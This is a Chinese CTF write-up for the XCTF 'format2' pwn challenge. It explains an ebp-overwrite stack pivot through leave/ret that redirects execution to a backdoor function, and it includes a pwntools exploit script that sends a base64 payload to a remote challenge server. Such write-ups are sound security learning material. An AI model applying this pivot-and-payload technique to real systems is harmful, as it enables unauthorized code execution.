format2 攻防世界

这个题 确实很恶心

本来感觉应该是栈溢出 或者  直接验证   但是 md5 解不开 然后调试的时候逐渐发现问题

晕死,,

虽然长度那个变量是 无符号 但是  输入字符限定 30 我们也没有什么办法  来通过 这个来操作

然后进入check 函数

发现v4 可以  溢出修改ebp

并且这里有后门函数

ebp  ebp ebp    栈转移

 

两个  leave 和  retn  那么 就可以 通过输入的值 来修改ebp  input

先把ebp 转化成 input 的地址   然后 mov   esp ebp       esp 的值变成了 input 的地址

然后 在mov esp  ebp   pop ebp    ret (pop rip) 

这里  的 pop rip 就可以控制流程了

三行代码搞定,,,  等等  三行代码

#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import*
import base64
context(log_level = 'debug', arch = 'amd64' , os = 'linux')
system_addr=0x08049284
input_addr=0x0811EB40
flag=0
if flag:
	io  = process("./format2")
else:
	io  = remote("111.198.29.45",42949)
paload='a'*4+p32(system_addr)+p32(input_addr)
io.sendline(base64.b64encode(paload))
io.interactive()

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值